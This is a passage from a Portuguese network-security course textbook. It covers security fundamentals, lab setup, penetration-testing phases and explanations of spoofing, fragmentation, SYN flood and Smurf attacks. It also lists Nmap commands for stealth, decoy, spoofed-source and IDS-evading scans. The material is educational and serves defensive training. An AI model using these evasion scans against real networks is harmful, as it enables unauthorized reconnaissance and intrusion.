Metodologias Abertas, é uma comunidade colaborativa sem fins lucrativos que desde 2001 
dedica-se a fornecer práticas de conscientização, pesquisa e certificação open source na 
área de segurança de redes. É responsável pela publicação do OSSTMM (Open Source 
Security Testing Methodology Manual), Manual de Código Aberto Sobre Metodologias de 
Testes de Segurança. Nesse manual são abordados todos os aspectos a serem levados em 
consideração para a execução de um teste de segurança em um sistema computacional. 
São abordados temas importantes, como métricas de segurança, metodologias para 
melhorar a segurança física de redes, conexões sem fio e comunicações eletrônicas. 
Nos capítulos seguintes, serão vistas as tecnologias e técnicas de segurança existentes, para 
que o profissional as conheça e seja capaz de realizar e implementar o planejamento de uma 
solução de segurança para redes de computadores. 
Todas as ferramentas de segurança apresentadas são baseadas em software livre, 
porém os conceitos são genéricos e se aplicam a outras ferramentas, comerciais ou não, 
existentes no mercado. 
Software livre
Qualquer programa de 
computador que pode 
ser usado, copiado, 
estudado e redistri-
buído sem restrições.
17
 
C
ap
ítu
lo
 1
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Roteiro de Atividades 1
Atividade 1 – Exercitando os fundamentos de segurança
Como vimos, o conceito de segurança mais básico apresentado consiste no CID (Confiden-
cialidade, Integridade e Disponibilidade). Apresente três exemplos de quebra de segurança 
em cada um desses componentes, como por exemplo:
 1 Planilha Excel corrompida.
 1 Acesso não autorizado aos e-mails de uma conta de correio eletrônico.
 1 Queda de um servidor web por conta de uma falha de energia elétrica.
Associe cadaum dos eventos abaixo a uma estratégia de segurança definida na parte teórica.
 1 Utilizar um servidor Web Linux e outro Windows 2000 Server para servir um mesmo con-
teúdo, utilizando alguma técnica para redirecionar o tráfego para os dois servidores.
 1 Utilizar uma interface gráfica simplificada para configurar uma solução de segurança.
 1 Configurar todos os acessos externos de modo que passem por um ponto único.
 1 Um sistema de segurança em que caso falte energia elétrica, todos os acessos que 
passam por ele são bloqueados.
 1 Configurar um sistema para só ser acessível através de redes confiáveis, para solicitar uma 
senha de acesso e em seguida verificar se o sistema de origem possui antivírus instalado.
 1 Configurar as permissões de um servidor www para apenas ler arquivos da pasta onde 
estão as páginas HTML, sem nenhuma permissão de execução ou gravação em qualquer 
arquivo do sistema.
Atividade 2 – Normas de segurança
Acesse o site do DSIC: http://dsic.planalto.gov.br/ e leia a Instrução Normativa GSI/PR nº 1, 
de 13 de junho de 2008 e as normas complementares indicadas. Elas são um bom ponto 
de partida para a criação de uma Política de Segurança, de uma Equipe de Tratamento de 
Incidentes de Segurança, de um Plano de Continuidade de Negócios e para a implementação 
da Gestão de Riscos de Segurança da Informação.
Atividade 3 – Política de segurança
O Incra (Instituto Nacional de Colonização e Reforma Agrária ) publicou, em 2006, sua política 
de segurança da informação no Diário Oficial da União (Portaria INCRA/P/No 70 de 29/03/2006). 
Leia o texto procurando identificar as principais dificuldades encontradas pela equipe técnica do 
18
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Incra para implementar essa política no ambiente de produção. Realize uma crítica construtiva 
de forma a identificar tópicos importantes que não foram abordados nesse documento.
Atividade 4 – Configuração inicial do laboratório prático
A partir do capítulo 3, você utilizará as máquinas virtuais instaladas na sua estação para 
realizar as práticas do curso. Aproveite esse tempo para se familiarizar com o VirtualBox, 
ferramenta gratuita de virtualização que está instalada na sua estação. Lembre-se de que 
as atividades são progressivas e interdependentes. No próximo capítulo, serão detalhadas 
algumas funcionalidades do VirtualBox. Nesta atividade você vai preparar o servidor 
Windows 2008 para as próximas atividades. Siga os passos a seguir e tire as eventuais 
dúvidas com o instrutor.
Configuração inicial do Windows 2008 Server:
Passo 1 No console do VirtualBox, inicie as máquinas WinServer-G e FWGW1-G, 
onde G é a letra do seu grupo (A ou B) e deverá ser trocado pelo número 1 
(para grupo A) e 2 (para grupo B).
 
Essa regra deverá ser seguida durante todo o treinamento.
Passo 2 No host WinServer-G, altere a senha do usuário administrador para “rnpesr”. 
Quando solicitar a ativação do Windows, selecione a opção “Activate Later”.
Passo 3 Instale os complementos do VirtualBox, disponíveis no menu “Dispositivos”, 
item “Instalar Adicionais para Convidado”. Após executar esse comando, vai 
aparecer uma janela de auxílio de configuração no Windows 2008; aceite 
todas as configurações padrão e finalize a instalação (não se esqueça de 
autorizar todas as solicitações de instalação de drivers não assinados). 
Ao final da instalação, será solicitado o reinício do host; não permita ainda, 
pois executaremos outros passos antes de reiniciar o Windows.
Passo 4 Altere o endereço IP da máquina para 172.16.G.20, máscara de rede 
255.255.255.0, gateway padrão 172.16.G.1, servidor DNS 8.8.8.8 e 8.8.4.4 
(servidores do Google). Em “Set Network Location“, selecione “Work”.
Passo 5 Altere o “Computer Name” para WinServer-G e, em “Workgroup”, altere para 
Grupo. Em Remote selecione “Allow Connections from computers running 
any version of Remote Desktop (less secure)”.
Passo 6 Desabilite o firewall do Windows.
Passo 7 Reinicie o servidor Windows 2008.
Passo 8 Instale a Role IIS e a Feature FTP Server.
Passo 9 Instale o Adobe Reader versão 9.3.4 no servidor Windows 2008. 
Configuração inicial da estação de trabalho hospedeiro (física) do aluno:
Passo 1 Na estação de trabalho física, clique em Iniciar > Painel de Controle > Cone-
xões de Rede > VirtualBox Host-Only Network > Propriedades > Protocolo 
TCP/IP e altere o endereço IP dessa interface de rede para 10.1.G.10, máscara 
de rede 255.255.255.0
Passo 2 Adicione a rota com o comando abaixo:
C:\route add –p 172.16.G.0 mask 255.255.255.0 10.1.G.1
Passo 3 Instale o Wireshark e o Firewall builder.
Passo 4 Reinicie a estação de trabalho.
19
 
C
ap
ítu
lo
 1
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Ao final dessa atividade, teremos a seguinte topologia, que será utilizada durante todo o curso:
FWGW1
Topologia A
DMZ
172.16.1.0/24
.10
.10
.20
.1
.1
DHCP
Servidor Windows 2008 Servidor Linux
Rede local
10.1.1.0/24
Host Windows XP
Internet
20
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
21
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
ob
je
tiv
os
conceitos
2
Explorando vulnerabilidades 
em redes
Compreender o funcionamento dos ataques Denial of Service (DoS), SYN flood, 
smurf, varredura, ARP poison, connection hijacking, sequence prediction attack, 
buffer overflow e fraggle.
Packet Sniffing, ARP Spoofing, IP Spoofing e fragmentação de pacotes IP.
 
 
Introdução
Com a popularização da internet, as redes de computadores passaram a usar o protocolo 
TCP/IP em quase sua totalidade. Esse protocolo, apesar de ser um padrão “de fato”, é um 
protocolo antigo, desenvolvido na década de 60. Nessa época, havia pouca preocupação 
com segurança, visto que as redes eram restritas e controladas. Hoje em dia, existem 
diversas vulnerabilidades conhecidas nesses protocolos de rede. Abaixo, discutiremos 
algumas dessas vulnerabilidades. Porém, para compreendê-las, será necessário um conhe-
cimento sobre a família de protocolos TCP/IP. Caso tenha dúvidas ou necessite revisar seu 
conhecimento, recomenda-se consultar o material do curso Introdução à Segurança de Redes, 
oferecido pela Escola Superior de Redes.
Exercício de nivelamento 1 e 
Explorando vulnerabilidades em redes
O que é o protocolo TCP/IP?
Como funciona o protocolo TCP/IP?
Penetration Test
Um teste de penetração consiste em apurar o quanto difícil é invadir uma rede de com-
putadores. Objetivamente falando, um teste de invasão ou Penetration Test é uma busca 
22
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
e identificação de vulnerabilidades em uma rede ou sistema computacional. A forma de 
elaboração de um teste pode variar, desde determinar um breve panorama de segurança 
da infraestrutura de uma empresa, até o que pode-se chamar de inspeção profunda, com o 
objetivo de obter informações específicas sobre um ativo de uma organização.
qUm teste de penetração pode revelar:
 1 Que tipo de informação pode ser obtida fora da organização, ou seja, sem necessaria-
mente se conectar à rede da empresa ou acessá-la fisicamente.
 1 Como os sistemas reagem a um ataque.
 1 Se é possível acessar o sistema com informações disponíveis ou já existentes. 
 1 Informações que possam se tornar acessíveis em caso de pane no sistema.
Naturalmente, o objetivo de um pentest é investigar o sistema do ponto de vista do ata-
cante, identificando exposições de risco antes de se procurar uma solução.
Testes de penetração
qExistem três tipos de abordagens para teste de penetração:
Teste de penetração zeroMais conhecido com BlackBox, onde o grupo de teste não tem nenhuma informação real 
sobre o alvo e deve começar com a coleta de informações. Esse tipo de teste foi proje-
tado para oferecer o teste de penetração mais realístico possível.
Teste de penetração parcial 
Mais conhecido como Grey Box, onde a organização alvo fornece à equipe de testes 
informações sobre o que provavelmente um atacante motivado pode encontrar. Um 
teste de penetração parcial também pode ser escolhido se o objetivo for testar um novo 
tipo de ataque ou mesmo ou se a equipe quer focar em um host específico da empresa. 
Para esse tipo de testes é necessário que sejam fornecidos documentos sobre topologia 
de rede, política de segurança, inventário de ativos e outras informações valiosas.
Teste de conhecimento 
Também conhecido como White Box, em que a equipe detém muita informação sobre 
a infraestrutura e sobre os sistemas alvo. Nesse caso, o teste visa simular um atacante 
que possui um conhecimento íntimo da organização alvo.
Técnicas de ataque 
Uma descrição compreensiva de técnicas de ataque é fundamental para evitar danos ou 
minimizar a perda de informações nos sistemas da organização. Normalmente utilizamos uma 
metodologia de penetração baseadas em fases que vão evoluindo ao longo do processo.
qFase de descoberta 
Coleta de informações na organização-alvo através de servidores de sites e de correio, regis-
tros públicos e bancos de dados (endereços e nomes de registros, DNS, Whois, logs etc.).
Fase de enumeração 
Fase onde a equipe de testes tenta exaustivamente obter informações, como nomes de 
usuários, informações sobre compartilhamentos de rede, informações sobre aplicativos, 
plataformas, infraestrutura onde estão hospedados e versões dos serviços em execução.
Fase de mapeamento de vulnerabilidades 
Fase em que a equipe de testes mapeia o perfil do ambiente em busca de vulnerabili-
dades publicamente conhecidas.
23
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
qFase de exploração 
Fase em que a equipe de testes tentará obter acesso privilegiado a um alvo utilizando fer-
ramentas conhecidas como exploits para a descoberta de vulnerabilidades identificadas.
Os atacantes estão constantemente aperfeiçoando suas táticas de invasão. Em contrapartida o 
administrador de sistemas deve se atualizar constantemente buscando formas para encontrar 
brechas em seus sistemas antes que invasores o façam. Um sistema seguro significa encontrar 
o equilíbrio entre o valor da informação disponível e a quantia de recursos utilizados para a 
proteção dessa informação.
A partir do conhecimento sobre metodologia de penetração, poderemos passar a ver os 
tipos mais comuns de exploração de vulnerabilidades. Esses tipos são baseados quase que 
em sua totalidade no protocolo TCP/IP.
Packet Sniffing
O termo Packet Sniffing tem sido ao longo do tempo substituído por “Analisador de proto-
colo” (protocol analyzer) em razão de o termo sniffer ter conotação de atividade maliciosa. 
No entanto, a ação realizada é a mesma, ou seja, ler todos os pacotes de dados que estão 
trafegando em uma rede específica. Hoje, com as redes sem fio, a situação é semelhante, 
com ferramentas que capturam os dados no ar. Lembre-se de que a capacidade de ler os 
pacotes vai sempre ser limitada pelo uso de criptografia ou através de soluções físicas, como 
o uso de um switch, que impede que uma placa de rede veja todo o tráfego de uma rede. 
Na figura seguinte, vemos a interface de um programa de captura de pacotes.
Sniffing 
“Farejar”, em inglês, 
consiste em capturar 
pacotes em trânsito 
numa interface de rede.
Figura 2.1 
Interface de um 
programa de 
captura de pacotes.
24
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Exercício de fixação 1 e 
Penetration Test
Quais são os tipos de abordagens para teste de penetração?
Exercício de fixação 2 e 
Packet sniffing
O que é e o que faz um analisador de protocolo?
Nmap
qO Nmap é uma ferramenta de código aberto, utilizada para exploração de rede e audi-
toria de segurança. Ela foi desenhada para identificar as portas de serviço que estão 
abertas na máquina-alvo ou em um conjunto de máquinas. O resultado final de sua exe-
cução inclui, dependendo das opções utilizadas, informações como a versão do sistema 
operacional e a versão dos serviços em execução.
Nmap 192.168.1.0/24 
macbook-pro-de-ivo-peixinho:~ ivocarv$ Nmap 192.168.1.0/24
Starting Nmap 5.00 ( http://Nmap.org ) at 2010-12-30 17:58 BRT
Interesting ports on 192.168.1.1:
Not shown: 997 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
5431/tcp open park-agent
Interesting ports on 192.168.1.6:
Not shown: 991 closed ports
PORT STATE SERVICE
88/tcp open kerberos-sec
139/tcp open netbios-ssn
445/tcp open microsoft-ds
631/tcp open ipp
25
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
999/tcp filtered garcon
1503/tcp filtered imtc-mcs
5298/tcp open unknown
6547/tcp filtered powerchuteplus
7937/tcp filtered nsrexecd
Interesting ports on 192.168.1.11:
Not shown: 998 closed ports
PORT STATE SERVICE
88/tcp open kerberos-sec
548/tcp open afp
Nmap done: 256 IP addresses (3 hosts up) scanned in 21.43 seconds
Nesse exemplo, executamos o Nmap com as opções padrão e passamos como parâmetro a 
rede 192.168.1.0/24, que corresponde à classe C 192.168.1.0 (máscara 255.255.255.0). Note 
que o Nmap apresenta apenas os endereços IP que estão disponíveis, mostrando as portas 
abertas em cada servidor. A seguir alguns parâmetros interessantes do Nmap:
q 1 -O – realiza uma tentativa de detectar o sistema operacional da máquina analisada. 
 1 -P0 – realiza a varredura da máquina mesmo que ela não responda ao ping, sendo útil 
em servidores que estão sendo filtrados por firewalls.
 1 -v – aumenta a quantidade de informação apresentada.
 1 -s<tipo> – tipo de varredura utilizada. Algumas varreduras procuram evitar que o 
sistema destino registre as tentativas de acesso. 
O Nmap suporta diversos tipos de varredura: S (SYN), T (Connect), A (ACK), W (Window), 
M (Maimon), U (UDP), N (Null), F (FIN), X (Xmas), I (Idle), Y (SCTP) e O (IP protocol).
A execução do Nmap é bem simples, estando ele disponível para uma série de plataformas. 
Abaixo alguns exemplos de execução do Nmap. 
Lembre-se de que o pacote Nmap deve estar instalado em máquinas Linux.
Técnica Explicação Exemplo
Varredura TCP SYN Tipo de varredura mais comumente uti-
lizada, facilmente detectável. O atacante 
envia para o alvo pacote com a flag SYN 
setada: se receber SYN/ACK, a porta está 
aberta; se receber RST, a porta está fechada.
#Nmap -sS <ip_alvo>
Varredura TCP 
Connect
Tipo de varredura padrão do Nmap, 
também facilmente detectável. O Nmap 
procura realizar uma conexão normal 
com a máquina-alvo, emitindo no final o 
comando connect.
#Nmap –sT <ip_alvo>
26
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Técnica Explicação Exemplo
Varredura TCP FIN, 
XMAS (Árvore de 
Natal) e TCP Nula
Essa varredura explora uma falha sutil na 
implementação do TCP/IP na máquina-alvo. 
Um atacante envia para o alvo pacote com a 
flag FIN, sem flag (TCP Null) ou com todas as 
flags setadas (XMAS). Se receber RST, a porta 
está fechada. Se não receber nada ou um 
pacote qualquer, a porta está aberta.
#Nmap -sF <ip_alvo>
#Nmap -sX <ip_alvo>
#Nmap -sN <ip_alvo>
Varredura UDP Embora os serviços mais populares na internet 
utilizem o protocolo TCP, serviços como DNS, 
SNMPe DHCP utilizam o protocolo UDP. Essa 
varredura permite identificar serviços UDP em 
execução na máquina. Seu modo de funcio-
namento é bastante simples: o atacante envia 
para o alvo um pacote UDP. Se receber a men-
sagem ICMP Port Unreachable, a porta está 
fechada. Se não receber nada ou um pacote 
qualquer, a porta está aberta.
#Nmap -sU ip_alvo
Varredura TCP ACK 
(detecta as portas 
que estão sendo 
filtradas por um 
firewall)
Essa varredura é diferente das anteriores, 
pois nunca determina se uma porta está 
aberta. Seu objetivo é mapear o conjunto 
de regras de um firewall, determinando se 
essas regras são orientadas à conexão ou 
não e quais portas estão sendo filtradas. O 
atacante envia para o alvo um pacote com as 
flags ACK. Se receber RST, a porta não está 
sendo filtrada. Se receber a mensagem ICMP 
Unreachable, a porta está sendo filtrada.
#Nmap -sA ip_alvo
Varredura TCP/
Windows (detecta 
as portas que estão 
sendo filtradas por 
um firewall)
Tem o mesmo objetivo da varredura TCP 
ACK, exceto que explora o detalhe de imple-
mentação TCP/IP realizada por certos sis-
temas operacionais. O atacante envia para o 
alvo um pacote com as flags ACK. Ao receber 
o pacote com a flag RST, o Nmap avaliará 
o tamanho da janela TCP. Se esse valor for 
positivo, a porta está aberta. Se esse valor 
for igual a zero, a porta está fechada.
#Nmap -sW ip_alvo
Varreduras Decoy Realiza varreduras em um alvo utilizando 
endereços falsos. O objetivo é “esconder” o 
verdadeiro alvo de sistemas de detecção de 
intrusos (IDS).
# Nmap -s S -D 101.102.103.104, 
1.1.1.1, 2.2.2.2, 3.3.3.3 ip_alvo
Varredura utili-
zando o ataque FTP 
Boune
Explora uma falha na implementação do pro-
tocolo FTP, que permite ao atacante, a partir 
do comando PORT, utilizar o servidor FTP para 
escanear outras máquinas na rede do alvo.
# Nmap –b 
anonymous:senha@172.16.1.20:21 
172.16.1.1
Varreduras 
temporizadas
Alguns mecanismos de IDS utilizam o tempo 
de envio de pacotes para determinar se um 
servidor está sendo “escaneado”. Para evitar 
a detecção, pode-se manipular o tempo de 
envio de pacotes utilizando o parâmetro – T, 
sendo o número “0” para Paranoid e até “5” 
para Insane. Abaixo a relação dos tempos 
para cada temporizador:
 1 Paranoid: 5 minutos de delay
 1 Sneaky: 15 segundos de delay
 1 Polite (educada): 0.4 décimos de segunds 
de delay
 1Normal (default)
 1Aggressive (agressiva): .min2o segundos 
por host
 1 Insane: 0.3 décimos de segunds
# Nmap –sS <ip_alvor> -T 1
27
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
Técnica Explicação Exemplo
Varredura furtiva Possibilita a um invasor fazer uma varre-
dura forjando a origem, com o objetivo de 
desviar a atenção ou simplesmente irritar 
o administrador.
# Nmap -sF ip_alvo -S 1.1.1.111 
–n –e eth0
Varredura OS 
FingerPrint
Tem como objetivo identificar a versão do 
sistema operacional da máquina-alvo, a 
partir do comportamento e das respostas 
do protocolo TCP/IP.
#Nmap -O ip_alvo
Varredura para 
levantamento de 
serviços no alvo
Varredura para identificar a versão dos ser-
viços que estão em execução na máquina-alvo.
# Nmap -sV ip_alvo
Exercício de fixação 3 e 
Nmap
No Nmap, para que é utilizada a técnica de “Varredura TCP/Windows”?
Hping
qA ferramenta Hping é um gerador e analisador de pacotes TCP/IP muito utilizado para 
atividades de auditoria, testes de firewall e redes, sendo bastante útil para administra-
dores e hackers. Possui suporte para os protocolos ICMP, UDP e TCP e permite a modifi-
cação de qualquer informação, tanto do payload quanto do cabeçalho do pacote.
Principais funcionalidades:
 1 Teste de firewall.
 1 Port scanning avançado.
 1 Teste de rede, usando diferentes protocolos e fragmentação.
 1 Descoberta manual de MTU.
 1 Traceroute avançado, usando outros protocolos.
 1 OS Fingerprinting.
 1 Auditoria da pilha TCP/IP.
No último tópico deste capítulo, a ferramenta Hping será utilizada para demonstrar alguns 
tipos de ataques.
ARP Spoofing
qAtaques de ARP Spoofing são relativamente antigos, mas quando empregados produzem 
resultados de impacto. O conceito do ataque visa enviar um pacote ARP falso para uma 
rede local, direcionando o tráfego do destino correto para um sistema malicioso. 
O protocolo ARP traduz endereços físicos (MAC) para endereços IP. Lembre-se de que os 
endereços MAC são singulares, isso é, o fabricante da interface de rede associa unicamente 
um endereço MAC a uma interface específica. Dessa forma, a apropriação da identidade de 
outro sistema fará com que todo o tráfego na rede seja desviado para o sistema invasor. 
Outro resultado possível de ataques de ARP Spoofing é a negação de serviço contra o 
sistema-alvo, pois o tráfego não chegará ao sistema de destino.
MAC 
Media Access Control é 
um protocolo de acesso 
ao meio físico em uma 
interface de rede. 
Endereços físicos de 
interfaces de rede são 
comumente chamados 
de endereços MAC.
28
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
ARP Cache m
odificado aponta IP
10.0.0.7 para M
AC: [cc:cc:cc:cc:cc:cc]
Switch
IP: 10.0.0.1
MAC: [bb:bb:bb:bb:bb:bb]
Atacante
IP: 10.0.0.3
MAC: [cc:cc:cc:cc:cc:cc]
IP: 10.0.0.7
MAC: [aa:aa:aa:aa:aa:aa]
AR
P C
ac
he
 m
od
ific
ad
o a
po
nt
a I
P
10
.0.
0.1
 pa
ra
 M
AC
: [c
c:c
c:c
c:c
c:c
c:c
c]
 
IP Spoofing
qEssa técnica de ataque tem como objetivo alterar um campo do cabeçalho IP, para que 
os pacotes sejam enviados como se partissem de uma origem diferente. O campo do 
pacote alterado é o do endereço de origem, um campo de 32 bits que indica o endereço 
IP de onde partiu o pacote. O cabeçalho IP possui um tamanho fixo de 20 octetos ou 
160 bits, além de uma porção opcional, raramente utilizada.
Atacante
Endereço: 1.1.1.1
Host confiável
Endereço: 3.3.3.3
De: 3.3.3.3
Para: 2.2.2.2
IP
 TCP
IP
 TCP
De: 3.3.3.3
Para: 2.2.2.2
De: 2.2.2.2
Para: 3.3.3.3
Vítima
Endereço: 2.2.2.2
Internet
 
Figura 2.2 
Ataque ARP 
Spoofing. 
Figura 2.3 
IP Spoofing.
29
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
Fragmentação de pacotes IP
qUma característica do TCP/IP bastante utilizada em ataques é a fragmentação de 
pacotes. Seja para dificultar a detecção de ataques ou para realizar a negação de ser-
viços, essa característica faz parte do arsenal de técnicas de ataque. A fragmentação de 
pacotes está relacionada à Maximum Transfer Unit (MTU), parâmetro que especifica a 
quantidade máxima de dados que pode passar em um único pacote por um meio físico 
da rede. Caso um pacote tenha tamanho superior ao suportado pelo meio físico da rede, 
é fragmentado (dividido).
Por exemplo, a rede Ethernet limita a transferência a 1500 octetos de dados, enquanto o FDDI 
permite 4470 octetos de dados por pacote. Com isso, um pacote que parta de uma rede FDDI 
(com 4470 octetos) e passe por uma rede Ethernet (com 1500 octetos) é dividido em quatro 
fragmentos com 1500 octetos cada um, que é o tamanho suportado pela rede Ethernet.
Os fragmentos resultantes trafegam pela rede e, quando chegam ao seu destino final, são 
reagrupados, com base em offsets ou deslocamentos, reconstituindo, assim, o pacote original. 
Todo esse processo de fragmentação e reagrupamento é realizado de modo automático e 
transparente para o usuário, de acordo com as regras do protocolo IP.
Rede 3
MTU = 1500 bytes
 Rede 2
MTU = 620 bytes
Rede 1 
MTU = 1500 bytes
1500 bytes 1500 bytes600 bytes
600 bytes
30 bytes
Roteador2Roteador 1
A possibilidade de ataques que exploram a fragmentação de pacotes IP está relacionada 
ao modo como são implementados a fragmentação e o reagrupamento. Tipicamente, os 
sistemas não tentam processar o pacote, até que todos os fragmentos sejam recebidos e 
reagrupados. Isso cria a possibilidade de ocorrer um estouro (overflow) na pilha TCP 
quando há o reagrupamento de pacotes cujo tamanho total seja maior que o espaço que 
foi reservado, ou seja, pacotes maiores podem ser criados para forçar o estouro da pilha. 
O resultado disso são problemas como o travamento do sistema, caracterizando ataques 
do tipo Denial of Service, que comprometem a disponibilidade de recursos. Outro ataque 
consiste em gerar pacotes com o offset de fragmentação negativo, que pode causar 
resultados inesperados caso a pilha TCP/IP do sistema de destino não realize uma 
verificação antes de tentar reagrupar os pacotes.
A fragmentação de pacotes foi explorada em ataques, inicialmente, no fim de 1996 pelo Ping 
da Morte. O ataque consistia no envio de pacotes ICMP Echo Request (ping) com tamanho 
de 65535 bytes. Esse tamanho, maior do que o normal, fazia com que diversos sistemas tra-
vassem por causa da sobrecarga do buffer da pilha TCP/IP, que não era capaz de reagrupar 
um pacote tão grande. O ping foi empregado inicialmente devido à sua facilidade de uso, 
embora outros pacotes IP grandes, sejam eles TCP (conhecido como ataque Teardrop) 
FDDI 
Fiber Distributed Data 
Interface é a tecnologia 
de transmissão de 
dados em redes. 
Figura 2.4 
Fragmentação 
de pacotes IP.
30
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
ou UDP, possam causar esse mesmo tipo de problema. O problema existiu, na realidade, 
devido a erros de implementação da pilha TCP/IP em sistemas operacionais e em equipa-
mentos de redes. Por isso, atualmente, os sistemas já corrigiram esse problema por meio 
de atualizações e instalações de correções (patches). Porém, a fragmentação e o reagru-
pamento podem ser utilizados para ataques mais sofisticados, com o intuito de driblar 
firewalls ou sistemas de detecção de intrusão (IDS). Isso acontece porque a fragmentação 
e o reagrupamento ocorrem somente entre as pontas, o que faz com que o firewall, o 
roteador ou o IDS que não suportem fragmentação, não detectem ataques cujos dados 
estejam em pacotes diferentes, já que são elementos localizados entre dois hosts que se 
comunicam. A fragmentação é utilizada, por exemplo, como um método de varredura como 
o usado pelo Nmap, que envia pacotes fragmentados em alguns casos, de modo que sua 
detecção pelo firewall ou pelo IDS torna-se mais difícil.
Ataques de negação de serviço
qOs ataques de negação de serviço ou DoS (Denial of Service) possuem como objetivo afetar 
a disponibilidade dos recursos, impedindo que as informações sejam acessadas por usu-
ários legítimos. Diversas técnicas, em diferentes níveis da pilha TCP/IP, podem ser usadas 
para esse fim. De uma forma geral, ataques DoS fazem com que recursos sejam explo-
rados de maneira agressiva, o que estressa o recurso, impedindo-o de realizar suas tarefas 
básicas. Consequentemente, usuários legítimos ficam impossibilitados de utilizá-los. 
Uma técnica típica de ataque DoS é o SYN flooding, que, com uma enxurrada de pacotes de 
requisição de conexão (SYN), causa o estouro (overflow) da pilha de memória, que passa a 
não aceitar novas requisições. 
Outra técnica é o envio de pacotes específicos causando a interrupção do serviço, que pode 
ser exemplificada pelo Smurf. Os ataques DoS vão além da pilha de protocolos TCP/IP, como 
o caso de estouro de memória em aplicações (e da interrupção do serviço), muitas vezes 
causado por falhas na programação desses aplicativos. As técnicas mais avançadas de DoS 
são coordenadas e distribuídas, onde os ataques partem não de um equipamento, mas de 
vários, que também acabam se tornando vítimas. Essa técnica é conhecida como Distributed 
Denial of Service (DDoS).
Ataques de SYN flood
qUm ataque SYN flood consiste em uma alteração no protocolo padrão de estabelecimento 
de comunicação no protocolo TCP, conhecido como three way handshake. 
Em uma comunicação TCP normal, são trocadas as seguintes mensagens para estabelecimento 
de uma sessão:
1. O cliente envia uma requisição de conexão: pacote com a opção SYN habilitada e com 
o número de sequência x.
2. O servidor recebe o pacote SYN e responde com uma mensagem de reconhecimento, que 
consiste em um pacote com as opções SYN e ACK habilitadas (SYN-ACK) e com números 
de sequência x+1 e y. O servidor, então, adiciona 1 ao número de sequência recebido pelo 
cliente (x). Esse foi o método estabelecido para identificar uma determinada requisição.
3. O cliente reconhece o pacote SYN-ACK (pacote ACK com y + 1). O cliente adiciona 1 ao 
número de sequência y recebido pelo servidor.
4. A conexão é estabelecida. 
5. A troca de dados acontece. 
31
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
6. A conexão é encerrada com um pacote com flag FIN. 
7. A conexão é encerrada de forma anormal com um pacote RST.
Um ataque de flooding, ou enxurrada de pacotes, consiste em uma técnica para desestabilizar 
e derrubar recursos computacionais, e pode acontecer em vários níveis do TCP/IP. SYN 
Flooding é um ataque de negação de serviço que explora o mecanismo de estabelecimento de 
conexões TCP, baseado em handshake em três vias (three-way handshake). O ataque consiste 
no envio de um grande número de requisições de conexão (pacotes SYN) para a vítima, de tal 
maneira que ela se torne incapaz de responder a todas as requisições. Com um grande 
número de requisições SYN simultâneas, a quantidade de conexões máximas é atingida e a 
vítima fica incapacitada de atender a conexões legítimas, até que a memória seja liberada. 
Caso o ataque seja realizado de forma continuada, este pode tornar um serviço indisponível.
SYN (IP de origem falsificado)
SYN (IP de origem falsificado)
SYN (IP de origem falsificado)
Atacante 
Vítima
Ataque Smurf
qSmurf é outro ataque de negação de serviço, no qual um grande tráfego de pacotes ping 
(ICMP echo) é enviado para o endereço IP de broadcast da rede, tendo como origem o 
endereço IP da vítima (IP Spoofing). 
Com o broadcast, cada host da rede recebe a requisição de ICMP echo, passando todos 
eles a responderem para o endereço de origem, que é falsificado, pois é o comportamento 
padrão quando um pacote tem por destino o endereço de broadcast da rede. A rede utili-
zada também é afetada, pois todos os seus hosts respondem à requisição ICMP, passando 
a atuar como um amplificador. Além disso, a vítima, que teve o seu endereço IP falsifi-
cado, recebe os pacotes de todos esses hosts, ficando impedida de executar suas funções 
normais, sofrendo assim um ataque de negação de serviço. As vítimas do ataque, assim, são 
a rede e o host que teve o seu endereço IP falsificado. 
Figura 2.5 
Ataque de flooding.
Spoofing 
Em inglês, “falsificação”, 
“disfarce”; se refere aos 
ataques onde infor-
mações no cabeçalho 
dos protocolos são 
falsificadas.
32
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Ataque Smurf
Atacante envia pacote com endereço IP falsificado
Respostas ICMP encaminhadas para a vítima
Varredura 
Apesar de não ser necessariamente uma vulnerabilidade, a varredura (scanning) é uma 
técnica muito usada por atacantes para verificar quais endereços IP de uma determinada 
rede estão associados a servidores e quais portas estão abertas (TCP e UDP) nesses servi-
dores. A varredura consiste em tentar conexão em um conjunto de endereçosIP e portas, 
verificando quais retornam algum tipo de resposta. 
Zenmap
O Zenmap é a interface gráfica oficial (Frontend) do já conhecido programa Nmap Security 
Scanner, possuindo versões para plataformas como Windows, Linux, MacOS, BSD, entre 
outras. Com essa ferramenta, a tarefa de levantamento de informações do protocolo TCP/IP 
se torna mais fácil e produtiva, principalmente por revelar aos iniciantes opções avançadas 
de exploração de portas oferecidas pelo Nmap.
Figura 2.6 
Ataque Smurf.
Existem ferramentas 
específicas para fazer 
varredura, sendo a 
mais famosa a 
ferramenta livre Nmap.
w
33
 
C
ap
ítu
lo
 2
 - 
Ex
pl
or
an
do
 v
ul
ne
ra
bi
lid
ad
es
 e
m
 r
ed
es
 
Com o Zenmap podemos:
 1 Salvar comandos de varreduras frequentemente utilizadas.
